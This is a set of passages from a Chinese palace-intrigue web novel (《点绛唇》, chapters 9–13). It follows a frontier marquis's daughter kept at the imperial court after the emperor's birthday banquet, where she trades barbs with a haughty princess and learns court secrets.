方承尧免了钟意兰的礼,让她坐下,钟意兰这才款款地回到自己的位子坐下,看向方昭浅。这时陈家父子才谢恩起身,陈子洵跟着一脸不知所以然的陈其武立到了一旁。 沈安宁看着这位钟昭仪心中一阵疑惑,自幼在赤州长大的她自然是第一次见到钟昭仪,可为何钟昭仪却给她一种似曾相识的感觉。 一旁的阿月视线也一直紧紧跟着钟意兰,直到她落坐。 太后侧身看向方承尧,“圣上今日高兴,既然想成全一桩喜事,倒不如就成全了小谭将军和三娘吧!” 坐在父亲身后的谭谨微微歪过头看向了公主们坐的位置,正好和三公主方昭清目光对上,一瞬间,方昭清便红着脸微微低了头,谭谨只看到了她低头和自己错开的目光,于是也眼带落寞地收回了目光。 方承尧看着此景也心知肚明,谭守杰原本就是宫中金吾卫出身,当初先帝立国之初,为笼络人心,特意下令五品以内的官员,家中若有适龄的孩童可送进宫与皇子公主一同学习,他即位后也遵循着先帝这一指令。 谭谨身为谭守杰之子,当初就因为和皇子们年纪相仿,被选进宫同皇子们一起听学,更是从小在宫里长大,和方昭清也算得上是青梅竹马了。 方承尧扫了一眼底下的谭谨又看了看一脸羞红的方昭清,心中一番思忖,“此事……” “自从湘儿远嫁去澧国,小辈们就五郎娶了门亲,如今个个都大了,我也老了!却还未能抱上曾皇孙,这宫里啊!也该是要有些喜事了!也热闹些!”太后虽然是说给方承尧听的却看着德妃陆如丽。 皇后陆如华闻言神色有些异常,片刻又恢复如初,也顺势看向德妃。 陆如丽是方昭清的生母,虽说谭家确实是个不错的亲家,方昭清和谭谨又从小就相识,肯定也不会亏待了方昭清,况且陆如丽也明白太后的意图,谭家镇守南方,如今正是圣上选太子的关键时候,不过是为了陆家拉拢谭家而已。 只是这谭家毕竟常年在边境,万一将来要是有个什么……陆如丽担心自己女儿的将来,可知女莫若母,她看了一眼羞红着脸偷看谭谨的女儿,便附和太后道:“是啊!圣上,三娘和小谭将军自小就相识,自是般配的。” 方承尧并没有表情,而是问道:“谭将军你觉得如何?” 谭守杰自然也明白自己儿子多年来的心思,急忙笑着上前回道:“公主若是不嫌弃,犬子定会好好服侍公主的!” 方承尧抬眼看了看已经把头低得看不见脸庞的方昭清,笑了笑,“那朕就做主了!为三娘和谭谨赐婚!” “公主金枝玉叶,是犬子高攀了!承蒙圣上、太后和德妃恩赐,臣携犬子谢过圣上、太后、德妃!” 谭谨一直沉默着,直到最后了才和父亲一同跪下谢恩。 方昭清手中拿着一个草编的蜻蜓,脸上还有着没走远的笑意和红晕,看见谭谨父子谢恩后,笑着拿着自己的丝帕轻轻盖在了蜻蜓之上。 太后和陆如丽都很高兴,方承尧也笑了笑,“今日也算是成全了一桩喜事,各位将军请落坐吧!” 邵盛看着殿中谢恩的父子,冷哼了一声,又转头瞟向谭守杰位置后端,这时正好一个位置紧挨着谭守杰的男子看了眼殿中的谭家父子,端起来一杯酒在邵盛的注视下喝了下去。 方承尧喝了手里的酒又示意身旁的康公公倒了一杯,对着沈海道:“时间一晃就过去了,如今看着小辈们都长大了,着实是欣喜,都说虎父无犬子,今日一看这两位小将军,果然也不输其父年轻时的风采,听闻镇北侯的千金今日也来了,可得一见?” 沈家立即起身行礼,沈安宁乖巧地跟在江秋妤身后,无视邵晨一脸的不屑。 “上前来。”方承尧见到沈安宁后,唤道。 沈安宁也不怵,大方得体的上前福了福,祝贺皇帝生辰。 “果然是仙姿玉色,你自小跟着镇北侯在平川长大,可曾想过进京啊?”方承尧如同老父亲般问道。 沈安宁微微抬头,太后随意地看着沈安宁,皇后陆如华则是面带笑容,俨然一副和方承尧成对的慈母脸庞。 “回圣上,洛京繁华无比,自是人人都向往的。” “那你可愿到这洛京生活啊?”方承尧倒是也不转弯抹角。 沈安宁自然知道她这次进京怕是会很难回得去了。 沈海一听这话立刻面色一紧,却也瞬间恢复如初,江秋妤更是连呼吸都急促了起来。 沈海上前,“圣上,小女自小在边境长大,微臣对她又是疏于管教,养得她的性子最是野调无腔、凡才简识。留她在洛京,微臣怕是更加难以管教了,又怕她冲撞了圣上,还是由微臣带回平川,将来为她寻个平常人家的夫婿上门,也算是全了微臣这辈子的一点心愿。” 方承尧笑了笑说道:“镇北侯这是什么话,朕见令爱大方得体,镇北候是谦虚了,况且若真如镇北候所说,何不让令爱和公主们一同听学,让这宫里的讲学博士教教,朕不时也会派朝中学识过人的大臣去教导公主们,这样一来镇北侯也就不必担心令爱的学识了,不也正好?” 公主们都坐得谦和恭敬,方昭溪看着陈子洵满脸担忧地看着沈安宁,觉得无趣,拿起桌上的酒一口便喝了下去。 “圣……” 沈安宁悄悄拉了拉沈海的衣袖,随后大方地回道:“谢圣上隆恩!” 方承尧反倒是顿了一顿,片刻就又笑道:“若镇北侯这般不放心,不如留下夫人在洛京照看着,你在平川也能放心!” “圣上!我既是同公主们一起听学,自然不敢放肆,这洛京也比平川方便,要什么有什么的,又有家仆伺候,相较于我,远 10. 第十章 献计 《点绛唇》全本免费阅读 太后看着方承尧并未言语,底下众人见状也不敢多言,倒是邵盛见状笑着行了一礼,“圣上圣明!” 此话一出,底下便开始有近半数大臣附和。 邵欣看自己儿子还傻站着,立刻开心地呵道:“这孩子!怎么还傻站着,赶紧谢恩啊!” 方景淳这才赶紧谢恩,见方承尧示意起身退下后便扬着下巴回到了自己的位置上。 邵欣欣喜道:“五郎也为圣上准备了厚礼,不如圣上也一并看看?” 说着便用眼神示意坐着的五皇子方景澄。 方景澄也立即和妻子虞芳草一起起身行礼,命人把准备的礼物送上来。 “父皇,儿臣为您准备的是一尊金鼎,此鼎技艺高超,鼎身富有光泽,乃是难得一见的金鼎,所以特将此鼎送给父皇!” 十几个人抬着一尊金光闪闪的大鼎缓慢地走上来。 在场的众人几乎都被金鼎的华美所折服,发出了惊呼的声音,方景澄也享受的他们的惊呼,邵晨却毫不掩饰地翻了个白眼。 “嗯,你若对这朝堂上的事有你的那些个买卖一半上心,朕也就能放心了!”方承尧命人收下。 “谨听父皇教诲!” “五郎最近也有在用功的!”邵欣笑道。 方承尧:“那就好!” “圣上,三郎也为圣上准备了礼品的!”陆如丽即刻接上,惹得身旁的邵欣不屑的瞥了她一眼。 三皇子方景泽听到母亲的话后,彬彬有礼地站起来,走过来时腰间的玉佩轻轻晃动,准备行礼时瞟了一眼正在看热闹的沈安宁,目光对上时恭敬的对沈安宁微笑点头,沈安宁面无表情地端坐着,见此也不得不微微点头算是回了一礼。 这一幕恰好被方承尧看见,他拿起桌面的酒喝了一小口又放下,看着殿中的方景泽从衣袖里拿出了一个厚厚的奏折。 “儿臣近日为父皇寿辰寻找合适的礼物,思来想去,这天下莫不是父皇所有,想必也没什么得以令父皇开心,又一想父皇近日最烦忧之事莫过于朝廷收支一事,儿臣得幸跟随父皇学习,因此想为父皇分忧!” 方景泽抬眼看了一眼上方的父皇,见他并没有什么表情,方景泽眸中黯淡了许多。 “那三皇子可有何法子?”一个官员问道。 方景泽收拾好神情,谦逊有礼地回头接道:“我近日也是一直思虑此事,这两日终于有了一个法子,可说与父皇和各位一听。” 方承尧面无表情道:“说来听听!” “儿臣想,若是将赋税做一些调整便可解!” 听见方景泽说这话,官员们开始窃窃私语。 方景泽却没有被他们影响,“先朝因战争导致人口数额减少,大片土地荒芜,先帝为恢复生气,将田地授给百姓,只是如今姜国正盛,儿臣想这赋税方式也需要改变一二,儿臣想了个法子,可将赋税分为三部分,第一是田地,可将田地以租用的方式租给百姓,定租额来收取租金,百姓年老后仍将土地收回朝廷。第二是劳役,如今因战争摧毁的房屋住宅大多已经恢复,便可将三十日的劳役改为二十日,不役者每日纳一定数额的佣金请旁人来替,若因事增加派役,则以所增日数抵除租调,这样一来百姓也有足够的时间去耕种田地。最后则是土产贡输,各地每年按例进贡当地特产,这样三步一一推行下去便可缓解朝廷收支的困局,也可充盈国库。” “贫生于不足,不足生于不农,不农则不地著,不地著则离乡轻家,民如鸟兽。”说着方景泽递上手中那个厚厚的折子,“这是儿臣的法子和暂定下来的具体数额,还请父皇垂阅!” 一个公公接过方景泽递上的奏折,呈给方承尧,方承尧接过开始翻阅,底下的一个官员评价道:“此法子倒也是很好,田地既有人耕种朝廷又能挣得到钱。” 旁边一人接道:“确实是啊!魏王殿下果真是聪明!” 诸位官员或称许或叹服,而方书君却是拿起了桌上的酒杯,看着前方站着的方景泽若有所思地喝了一口。 方景泽听见他们说的话并没有表现得太开心,依旧是谦和有礼的站在原地等着他的父皇评价他的奏折。 方承尧扫完后抬眼看了一眼底下的杜泉,两人对视一眼后他便把奏折放在了桌上,然后淡淡道:“三郎有心是好事,只是这要学得还很多。” 方景泽眼底闪过一丝失落,却也接着马上恭敬地回道:“是!谢父皇教诲!” “嗯,先坐下吧!” “是!” “圣上!”皇后陆如华见状缓缓的说道:“各位皇子都为了圣上的生日精心的准备了各种各样的礼品,可见各位皇子的孝心,只是各位皇子年纪尚小,还有很多需要学习的地方,圣上也莫要责怪,这都是皇子们的一番孝心。” 陆如华见方承尧轻轻点头又接道:“四郎也为圣上准备了贺寿的礼品,圣上可要看一眼?” 方承尧有些疲惫,“嗯,呈上来看看吧!” 四皇子方景浩缓缓走上前来,身后是两个小太监抬着一个方型木箱,箱子的后方跟着两个小太监,方景浩行礼后回身打开木箱,命后面两人把里面的东西拿出来展开,原来是一副字画,众人以为是一副出自名师之手的名画,想要一探究竟,但直到画卷缓缓展开时,在坐的各位都被画吸引住了。 “父皇!这副千里江山图绘制了我们姜国的整片国土,画工精巧,国土恢宏,而父皇正是最有资格拥有它的人!” “嗯。”方承尧看了画以后微微点头,“四郎有心了!” “谢父皇!” 这时方承尧转头温柔地看向一个妃嫔,这位妃嫔看起来温柔端庄,只是面色有些苍白,有些疲意。 都说当今圣上有两位尽得圣宠的妃子,一位是邵贵妃,因其母家是当朝权贵邵家,一直骄横跋扈,只是方承尧一直对她的跋扈视而不见,当是默许。 还有一位则是有着贤良淑德的名声的淑妃,为人温和,待人友善,只是早年就染上了恶疾,终日以药养着,方承尧为她寻遍了天下名医,也是终日不见好转。 看着眼前这位面带倦容的妃嫔,想必便是那位久病的淑妃苏映婵了,沈安宁见她看到方承尧的目光后即刻温柔微笑着回应道:“圣上,六郎也为圣上祝贺准备了礼品,让他呈上来给您过目吗?” 方承尧的脸上有了一些笑意,转头朝皇子们的坐处唤道:“六郎给朕准备了什么贺礼啊?” 方景渝听到后即刻上前,不同与方景泽的温文儒雅,方景渝更显得温润如玉,像个稚气未退的孩子,可眉眼带笑时又有几分苏映婵的温柔,他的后头跟着两个小太监抬着一块玉璧。 沈安宁看着眼前的酒杯已经空了,转头才发现阿月拿着酒壶正呆呆地看着前方,沈安宁顺着她的目光看去, 11. 第十一章 争吵 《点绛唇》全本免费阅读 沈海众人看着来的人,江秋妤更是一直拉着沈安宁,“阿宁……” 沈安宁轻轻拍了拍她的手,让他们放心。 江秋妤皱着眉头,“阿宁,阿月,你们两个在宫里遇到事情不要冲动,凡事让一让……” 阿月扶着江秋妤的手安慰道:“夫人,你一定要照顾好自己,不要担心我们,我会照顾好小姐的!” “放心吧!”沈安宁说完就转身带着阿月跟着宫女离开了。 陈其武怒声道:“这就把阿宁留下了?” 人多口杂,陈子洵拉了拉父亲的手,看了一眼沈安宁两人离开的背影,“侯爷,我们先出宫吧!” 沈海点了点头,扶着妻子往宫外走,几人在公公的带领下离开皇宫。 沈安宁两人跟着宫女走了好一会,终于在不知转了多少次弯后到了一个花园,沈安宁因跟着沈海等人行军打仗惯了,习惯到了陌生地方就开始不动声色地观察四周。 宫女自从接到沈安宁后也没有再说话,只专心的带着路,忽然,沈安宁听见远处有轻微的脚步声,转头往声音传来的方向寻去,模糊中看到一个身着华服的女子,和一个身形修长的男子背影。 沈安宁认得这身衣裳,这是今日在宴会上的钟昭仪,可那背影……难道是今日没有出现在宫宴的九皇子?不过想来又觉得奇怪,若是九皇子,为何她们母子要在宫宴结束后独自相见? 阿月见沈安宁看向别处,刚想看看沈安宁在看什么就被沈安宁拉了回来,阿月迷惑地看着自家小姐。沈安宁却只是对她笑了笑,两人刚刚入宫,还是万事小心为好。 众人又是一顿走,阿月忍不住轻声抱怨道:“这皇宫也太大了吧?还要走多久啊?” 在她们前方的宫女提着灯回头笑道:“姑娘不要着急,穿过御花园就到了,皇后娘娘把姑娘安排在了英华宫。” 沈安宁笑了笑没有说话,这个御花园确实有些大,有好几个亭子。正转头,就看见不远处的亭子里有两个人影,心中不禁疑惑,今天是个什么黄道吉日,怎么见面都挑今夜出门相会? 即使是亭子相隔得有些距离,但她以百步穿扬的眼神还是看清了那两人正是今晚赐婚的方昭清和谭谨。她见方昭清把一个手掌大小的什么东西递给了谭谨,谭谨则是呆了一会才接了过去,看了好一会又还给了方昭清。 “皇后娘娘特意嘱咐我们,沈姑娘初次到洛京,多少会有些不习惯的,要我们多照看着,日后沈姑娘要是有什么吩咐只管吩咐我就行!” 宫女的话拉回了沈安宁的视线,沈安宁得体地笑了笑,“那先谢过皇后娘娘了!等明日皇后娘娘有空了我一定前去当面谢恩!” 沈安宁转了转眼珠问道:“不知姑娘怎么称呼?” 宫女顿了顿,之前一直听闻镇北侯独女在平川出生,也长在平川,镇北侯是武将出身又常年征战,江夫人虽知书达理,却也只是陵州一个富商之女,想必这位镇北侯独女会是个不识礼数的野蛮丫头。可如今一看,行为举止大方得体,却并无不妥之处。 “沈姑娘言重了!我叫银杏!” 沈安宁微微一笑,“想来银杏姑娘定是长久跟着皇后娘娘的,姑娘这么伶俐,皇后娘娘割爱让姑娘来照顾我,我定要好好感谢皇后娘娘!日后我在这宫中还要多多劳烦姑娘了!” 银杏又是一顿,回眸看了眼沈安宁,见她依然是得体的微笑,想着这沈安宁定是知道她是皇后派来的,又是第一次来皇宫,才会对自己这么客气,想到这,银杏不经得意了几分,有些狐假虎威的微微扬了扬下巴笑着回道:“能照顾姑娘是我的福气!” 沈安宁自然看到了她表情的变化,又轻轻感叹道:“皇后娘娘安排得这般周到,宫中也管理的井井有条,定是深得圣上喜爱!” 银杏笑了笑,“这后宫人人都知皇后娘娘为人贤淑有德,对我们也是极好的,和圣上更是相敬如宾,是后宫众人的表率!” 聊起八卦阿月就来了兴致,开心的问道:“银杏,那钟昭仪呢?” 银杏似乎没想到她会问钟昭仪,顿了顿又笑道:“钟昭仪啊!平常寡言少语的,除了四公主她对什么也不怎么上心的。” 沈安宁心中疑惑,那九皇子呢?之前听张千说过,九皇子的生母是贤妃,只是记在钟昭仪名下。可据她所知,钟昭仪除了九皇子外并无其他皇子,虽说邵陆两家势力大,可是钟昭仪娘娘也不指望九皇子还能争取一下吗? 况且这个九皇子也和那人一样旧疾缠身…… “只对四公主的事上心吗?那九殿下呢?今天晚上宫宴九殿下也没有来,只听钟昭仪说是旧疾复发,这九殿下为何得病啊?这皇宫中的医师不是个个是神医妙手吗?为何也治不好?”阿月兴致来了,就开始和银杏聊起来了,一连串的问题脱口而出。 沈安宁抬眼看向银杏,宫里奴婢议论妃嫔皇子乃是死罪,可显然这位银杏把她们两当成了不知世事的乡野丫头。正好沈安宁对这宫里处处都不熟悉,就也应下了这乡野丫头的身份。 “九殿下……”银杏有些犹豫,但是转头一看阿月一副天真求知的模样,想来她们久在边塞,不知道这宫中的事也是正常,这才低声道:“九殿下不是钟昭仪亲生的,只是记在钟昭仪名下而已。” 阿月也学着银杏的模样低声的问道:“原来不是钟昭仪亲生的吗?那为何要记在钟昭仪名下?他生母呢?” 这下银杏更紧张了,抬眼看了一圈周围,“九殿下的生母在宫里最好不要提!” “为何?”阿月凑得更近了。 银杏看了看阿月,见对方好像真的只是聊到了感兴趣的话茬了,又转头看着沈安宁,沈安宁并没有什么表情。 最后银杏才向沈安宁靠近了一点,确认离前后的宫女都有些距离后,用比刚刚更小的声音解释道:“沈姑娘不知道也正常,说起来当年梁府被抄斩的时候沈姑娘应该还没出生呢!我也是听年长的妈妈们说的。这梁府就是当年的中书侍郎梁磊的府上,九殿下的生母就是梁磊的女儿,进宫后被封为贤妃。梁府因为参与废太子谋反被灭门的那天,圣上把怀着九殿下的贤妃娘娘打入了冷宫,贤妃娘娘受了刺激,竟突然早产,九殿下就是那天在冷宫中生下来的,圣上得知后也没有去把九殿下接出来,后来没几年就听说贤妃在冷宫中疯了,居然给自己儿子下毒,幸好救得及时,九殿下才捡回来了一条命,只是从那时起身体就损伤了,终日以药养着了,也不知能养到何时。圣上自那得知下毒一事后才把九殿下接出了冷宫,可能也是念及钟昭仪失去了八殿下,所以就把九殿下放到了钟昭仪的雁栖宫养着。” 沈安宁一直沉默地听着。 阿月神色略带沉重地低声道:“那贤妃后来怎么样了?” “自杀死了,就在九殿下接出来没几天的时候,就在冷宫中跳井了!所以九殿下的生母在宫里一般不会被提起,我见姑娘和善,又是第一次进宫,就也大胆提醒姑娘,姑娘以后也不要在宫中提起,免得失了分寸。” 沈安宁微微点头,作一脸感激样,“多谢姑娘提醒!” 阿月又和银杏聊了一些宫中的吃的玩的,不觉就到了皇后为沈安宁安排住处。 沈安宁抬眼一看,正红的朱漆大门顶悬着一块金丝楠木匾额,上面工整的题着——英华宫,的确是华丽无比,沈安宁刚准备进去时被一个女声打断。 “我当是谁呢?原来是镇北侯之女啊!一直在平川那种地方长大,如今到了这繁华的洛京,可是连这门该如何进也不知,这匾是何种木所制都不识?” 宫女们看清来人后都上前行礼问安,沈安宁停下了动作回头看着她,银杏赶紧提醒道:“沈姑娘,这是五公主!” 沈安宁虽然自小就长在平川,镇北侯府也一直过得节俭,可也不至于连楠木也不知道,而对方来势汹汹,看来对方这是故意来找茬的。 沈安宁想不到自己什么时候得罪过这位五公主,可是转念一想,虽然看不惯她的行为做派,可毕竟这是皇宫,自己还是规矩点听江秋妤的话不要多生事端的好,于是沈安宁规规矩矩的行了个礼,“见过五公主!” 方昭溪轻蔑的笑了笑,身后的侍女山丹抬着下巴上前,“不知道也不怪姑娘,姑娘从小在偏远地方长大,没看过也是正常的,这乃是上等的金丝楠木所制,姑娘这回可知道了?” “你……”阿月一时气不过来就要冲上前去。 沈安宁一把拉住她,将她挡在身后,又对山丹客气道:“多谢这位姑娘指点!” 山丹对着沈安宁笑了笑,“姑娘也算是个明白人,只是这丫鬟……姑娘还是多加管教得好!” 阿月一听更是气不打一处来,正准备冲上去就听见前方沈安宁冷冷道:“不知这位姑娘说的管教是何种管教?又不知五公主可如姑娘所说的这般管教过姑娘?不过看起来应该是没有了,不然一个奴婢又怎么会这般和我说话呢?我身份虽不及五公主尊贵,却也是镇北侯之女,或是说姑娘也是哪个亲王侯爷之女?那就恕我眼拙冒犯了。” “你……”山丹一下没有了之前的气势,虽然看不起沈安宁,却也忌惮着镇北侯府,回头看向了方昭溪。 银杏这才赶紧上前劝道:“五公主,今晚夜宴也劳 12. 第十二章 听学 《点绛唇》全本免费阅读 第二日一早,沈安宁梳洗完毕,阿月还眯着眼坐在桌边,宫女们正准备端来早点。 这时陆如华带着十几个宫女浩浩汤汤地来了。阿月一听皇后来了顿时精神的几分,站了起来立在沈安宁身后看着,这些宫女们手上都端着托盘,是各种珠宝钗寰,绫罗绸缎,还有一些摆件和一些点心。 阿月一见有点心,原因为起得太早还未睁开的眼睛立刻就睁圆了,再没从点心上移开过。 沈安宁从容的起身行礼问安,陆如华笑得慈眉善目地上前扶了起来,“快起来快起来!你刚到洛京,今日又要同公主们一起听学,本宫怕你不习惯,昨夜本想过来看看的,可是圣上昨夜喝了点酒,本宫也走不开。” “多谢皇后娘娘记挂,她们照顾得很好,没有什么缺的!” 陆如华又转头看着桌子上的早点,“这吃食可还合心意?或是你喜爱赤州的口味,本宫吩咐御厨为你做。” 沈安宁一时摸不透皇后为何对自己这么关心,“多谢皇后娘娘,这样的就已经很好了!” “想来你对宫中也不熟悉,正好我也正要去给太后请安,刚好经过暗香斋,不如本宫带你去同公主们听学的地方吧?” “怎么敢劳烦皇后娘娘!” “也就是顺路的事!来吧!” “那就多谢皇后娘娘了!” 沈安宁知道银杏是皇后派来的人,自然也知道昨夜的事不止皇后,恐怕其他人也都知道了。 五公主的生母是邵贵妃,而且既然五公主这么跋扈也是宫里都知道的,想来皇后应该不会为了她顶撞了几句五公主就为难她。 沈安宁恭敬的站在一旁等皇后先走,陆如华却回头看了她一眼,然后从一旁盛着珠钗的盘子中挑了一只蝶戏双花形状的金钗为沈安宁带上。 “你的发饰素雅了些,正是如花似玉的年纪,带上这个正合适。” 沈安宁没有言语,低头任由皇后给她带上钗子。 “公主们听学的地方在暗香斋,往后你要和公主们好好相处!”陆如华转头看了看沈安宁,“听闻昨夜遇见五公主了?” 沈安宁低头道:“是,我初入宫内,让皇后娘娘烦心了,还请皇后娘娘责罚!” 陆如华却看着沈安宁笑了笑,然后扶起了她,“在圣上的这几位公主里啊!三公主最为温顺,四公主嘛!性子随钟昭仪,也有些冷淡,五公主虽是娇纵些,可也为人善良,六公主最小,今年也不过十岁,却也聪慧,她们姐妹每日也要在暗香斋习文练字,你虽是刚来,但你们都是女子,一处听学,慢慢的也就熟悉了!” 沈安宁乖巧的点了点头,安静地跟着皇后往暗香斋走去,还未过片刻,沈安宁便发觉路上似乎绕了一段,又见一旁陆如华正笑着,也不好多言,只乖巧的跟着,这时,不远处方景浩正往这边走来,看见陆如华后快步走近问安。 陆如华点点头,然后转身拉着沈安宁介绍道:“这是周王!” 沈安宁向方景浩行了一礼,方景浩面无表情地示意了一下,甚至都没正眼瞧沈安宁一眼。 陆如华似乎不满意方景浩的做派,“四郎,这是镇北侯沈海之女,你昨天在宫宴上见过的。” “母后,儿臣还要去上朝,去晚了怕父皇责备,儿臣就先行一步了!” 方景浩从头到尾没有看沈安宁,也没有理会自己母亲说的话,自己说完后就转身离开了。 陆如华看着离去的方景浩,又看了看沈安宁,“这孩子真是的!四郎他对朝堂上的事比较上心,你可莫要见怪。” 沈安宁突然明白了皇后为何对自己这般关心,什么去给太后请安正好顺路,想来都是借口,带着自己故意绕到这边,给方景浩介绍自己才是真,只是这方景浩或是并没有明白自己母亲的用意,又或是根本不屑明白。 “怎么会,男儿关心政事,思虑国家,这是大义,我岂能不分好歹?” “那就好!”陆如华笑了笑,“走!本宫带你去暗香斋!” 陆如华带着沈安宁边走边聊,一行人很快就走到了一个湖边,湖中的荷花正含苞待放,而湖对岸正是暗香斋。 突然一个宫女走近跪在两人面前。“奴婢拜见皇后!” 陆如华身后宫女上前问道:“何事?” “太后娘娘请皇后过去一趟!” 陆如华去英华宫之前就是去太后哪请过安的,为何这时找她?她看向那名低着头的宫女,“太后可有说是何事?” “没说。” 陆如华转头看向沈安宁,“既是太后召唤,本宫就送你到这了!” 沈安宁福了福,“多谢皇后娘娘!安宁告退!” “嗯,那你过去吧!缺什么可唤奴婢去办。” 沈安宁带着阿月转身向湖对岸走去。 陆如华看着沈安宁走后,面无表情地转身离开,“四郎怎么不懂本宫的心意呢?” 扶着皇后的知棋笑着接道:“殿下年纪还小,又一心都在朝堂之事上,哪里想着这些儿女情长的事。” 陆如华侧头看了看她,又回过头看向前方像在思考什么。 暗香斋里清新素雅,院子里栽种了名贵的树木,又有一些淡雅的花儿,再往里去的屋子里摆放着几张书案,其中有一张放在正前方,其他的书案都两两并排放着。 沈安宁进去时只有最前面两张并齐的书案没有人,其他几位公主已经安静地坐着温书了,见沈安宁进来皆是转头看着她。 方昭浅抬眼看了她一眼又低头翻着自己的书,方昭清和最小的六公主方昭潇倒是笑着向她点点头。 沈安宁左右看了看,发现公主们的贴身侍女都在屋子外边坐着。阿月也看见了,和沈安宁交换了个眼神就走了过去坐下了,沈安宁见她坐下后才走到了最近的一个书案坐下。 只是刚坐下,方昭清轻轻唤她,指着自己面前的空位置道:“那是五娘往日里坐的,沈姑娘可以坐这里。” 沈安宁道了声谢就换到了她前面的位置,这时候方昭溪正好进来,一眼就看见沈安宁从自己的位置离开,她嘲讽道:“本公主的位置你也敢坐?” 听见方昭溪说话,方昭潇有些心怯地瞄了她几眼,躲进方昭清怀里。方昭浅则是像没有听见一样看着自己的书,似乎已经习以为常了。 方昭清抱着妹妹似乎正想开口,就被沈安宁的声音地打断了,“敢问五公主,这书案是写了你的名字吗?你说它是你的就是你的?” 沈安宁经过昨晚的事已经明白,方昭溪就是故意找她茬,虽然江秋妤说万事都要让一让,要沈安宁装的听话乖巧,她也能像在皇后面前一样装得心巧嘴乖,只是对方一直故意找她茬,沈安宁也并不是仍人欺负的性子,便也不再忍让。 方昭溪似乎没料到沈安宁会辩驳,自己原也只是想找她的不痛快而已,这下方昭溪愠恼道:“这天下有哪个书案我说是我的它敢不应?” 沈安宁轻笑,“御书房的书案可也应?” 方昭浅听到这才从书里抬起头来,面无表情的看着沈安宁。 方昭溪气冲冲地指着沈安宁,“你……” 方昭溪身后的山丹赶紧上前扶着方昭溪,“沈姑娘,说话可要注意分寸!” 沈安宁闻言冷哼一声,嗤笑道:“奴婢说话难道不需要注意分寸?” 阿月也走到沈安宁身后,生气道:“就是!你怎么跟我家小姐说话的!” 山丹:“你……” 方昭溪:“区区一个侯爷的女儿,还是个从穷山僻壤里出来的粗鄙之人,你敢对本公主不敬?你就不怕本公主叫父皇杀了你吗?” 沈安宁突然眼神慌张,“怕……” 方昭溪不屑的笑了笑,她不信这世上有不怕她父皇的人。 沈安宁看着方昭溪也笑了,接着满不在乎道:“那就有劳五公主去请圣上来裁夺!” 方昭溪瞪着她,“你就这么想找死吗?” 两人步步不让,势如水火,正擦掌磨拳时方昭清放开了怀中的妹妹,站起来拉着方昭溪轻轻道:“五娘,父皇近来为国事很是烦忙,你和沈姑娘之间是不是有什么误会,说开了就好了,何必劳烦父皇?” 方昭溪更来气了,“能有什么误会!不过是这个姓沈的太嚣张!难道本公主还能怕她不成!” “好了,日后大家还要一起听学,都各退一步。”方昭清安抚着方昭溪,又转头去拉着沈安宁的手,“沈姑娘,你虽刚入宫中,不过以后你在宫里的日子还长,日后你同五娘抬头不见低头见的,何不各退一步,以后也能待得自在?” 沈安宁看了一眼自己被方昭清拉着的手,又抬头看着她,没有说话。 方昭溪看着沈安宁面无表情,也没有和自己道歉的意思,越想越气,正准备发怒就被方昭清拉着坐下了,“杜侍中来了!” 方昭溪转头透过窗户看向门口,果然是杜泉拿着书走了进来,就也闷闷不乐地坐下了。 方昭清见她没有再发作的意思后也转身回去坐着,安抚了一下方昭潇,方昭浅扫了一眼坐着的沈安宁,山丹和阿月两人互相哼了一声,居然整齐地转身去门外坐下了。 杜泉进来后直径走向了最前方的书案,“今日由老夫来给各位公主们讲学,不知各位公主上次听到哪了?” 方昭溪还在生着气,自己拿着书翻来翻去,沈安宁第一次来自然不知道上次讲过哪里,方昭浅更是头也没有抬。 最后是方昭清接过他的话答道:“杜侍中,上次田博士讲到了《女训》。” 杜泉微笑的点了点头,“多谢三公主提醒!不知哪位公主能跟老夫分享一下对这篇《女训》的见解?” 方昭溪一听到这话,突然来了兴致,“杜侍中,沈姑娘出身候门,必定熟读诗书,今日她第一次来听学,何不让她给我们见识一下?” 杜泉看向沈安宁,似乎在询问沈安宁是否可以? 沈安宁十分平静的站了起来给杜泉行了个礼回道:“杜侍中,我不曾读过《女训》,所以对此并无见解,还望侍中见谅!” 方昭溪觉得自己扳回了一城,暗暗开心,杨起了下巴,“那沈姑娘今日可要好好学学,宫里可不比赤州,识文断字可是必须的,不然同那些粗野之人有何两样?” 沈安宁笑着接道:“我确实应当好好听学,才能学得五公主这伶牙俐齿,巧言如簧,颜之厚矣的本领!” 方昭溪顿时变了脸,气急道:“你……” “哎呀!如五公主所说我是个粗野之人,不识得几个大字,偶然见得几个词语,在五公主面前班门 13. 第十三章 瘟病 《点绛唇》全本免费阅读 沈安宁和阿月跟着宫女路过一个华丽的红墙就看见了前方带着一众宫女的方昭溪。 宫女正想上去请安,沈安宁赶紧拉住了她,“你先下去吧!” 宫女有些疑惑的看着她,最后还是向沈安宁欠了欠身按她们来时的路离开了。 沈安宁回头与阿月对视一眼,然后迎着方昭溪就走了上去。 方昭溪正被山丹扶着走着,心里还在想着今日和沈安宁争吵的场景,心中怒火还未消又看见了沈安宁正向自己迎面走来,刚平稳的怒火又燃起来了。 沈安宁看着前面停下的方昭溪佯装惊讶道:“这不是五公主吗?”然后上前欠了欠身,“这皇宫真是大,从暗香斋出来后不知怎么回去,走着走着就到这了……五公主可知英华宫该往哪走?” 方昭溪跟看傻子一般看着沈安宁,满眼皆是鄙屑,“这宫中自然比你们那赤州镇北侯府的一亩三分地大,只是没想到这英勇善战的镇北侯,居然有个这般痴傻的女儿,不会走难道不会叫奴才宫女带路吗?在宫中处处乱闯像什么样子?不过也是,你们那种小地方又怎会知道规矩二字怎么写?” 一顿说完,方昭溪心里舒服多了,扬着下巴斜睨着沈安宁,连带着身旁的山丹也跟着扬起了下巴瞪了阿月一眼,却没想到阿月居然瞪回去了,讶异过后两人眼神开始在空中较量,瞪得互不相让。 沈安宁却是笑了笑,“我早就听闻皇宫大的吓人,只是没想到连皇宫里住的人也这般吓人。” 沈安宁故意激怒方昭溪,而方昭溪本就看她不顺眼了,听了这话更是气得直眉瞪眼,可还是顾及着公主的身份,即使动气了也还是端着架子道,“你说谁吓人?本公主知道你是从穷酸地方来的,却是没想到你竟是如此粗俗。” “公主从见到我开始就横挑鼻子竖挑眼的,我还真不知道是什么地方得罪了公主,还是公主就是这么喜欢挑刺呢?要是这样,我可送公主几框大鱼,任公主随意挑?” “你……,原先本公主当你是不懂规矩,现在看来你竟是个没人教养的粗野丫头!” “公主说我毫无教养,可公主一口一个粗俗,难道宫中的教养是教公主这些?那我看来这教养二字不会写也罢!” “你……”方昭溪脸色越发难看,“别以为你是镇北侯之女本公主就不能拿你怎么办了,这是在宫里!不是在你的赤州!” 